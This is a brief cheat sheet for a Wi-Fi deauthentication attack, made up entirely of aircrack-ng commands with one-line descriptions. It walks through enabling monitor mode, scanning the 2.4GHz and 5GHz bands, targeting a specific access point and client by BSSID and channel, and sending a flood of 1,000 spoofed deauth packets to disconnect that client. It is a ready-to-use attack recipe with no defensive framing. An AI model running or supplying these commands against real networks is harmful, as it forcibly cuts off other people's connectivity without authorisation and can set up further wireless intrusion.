Deauthentication (Deauth)
Deauthentication attack that forcibly disconnects a wireless client from an access point by sending spoofed deauth packets.
Setup
Command
airmon-ng start wlan0
Description
Puts the wireless adapter into monitor mode.
Scanning
Command
airodump-ng wlan0mon
Description
Scans nearby networks on the 2.4GHz band.
Command
airodump-ng --band a wlan0mon
Description
Scans nearby networks on the 5GHz band.
Command
airodump-ng --band abg wlan0mon
Description
Scans nearby networks on both 2.4GHz and 5GHz bands.
Target
Command
airodump-ng --channel [channel_no] --bssid [BSSID] wlan0mon
Description
Focuses the scan on a specific target's channel (2.4GHz).
Command
airodump-ng --band a --channel [channel_no] --bssid [BSSID] wlan0mon
Description
Focuses the scan on a specific target's channel (5GHz).
Command
iwconfig wlan0mon channel [channel_no]
Description
Manually sets the adapter's channel (required for 5GHz).
Execution
Command
aireplay-ng --deauth 1000 -a [BSSID] -c [STATION] wlan0mon
Description
Sends deauthentication packets to disconnect a client (2.4GHz).
Command
aireplay-ng --deauth 1000 -D -a [BSSID] -c [STATION] wlan0mon
Description
Sends deauthentication packets to disconnect a client (5GHz).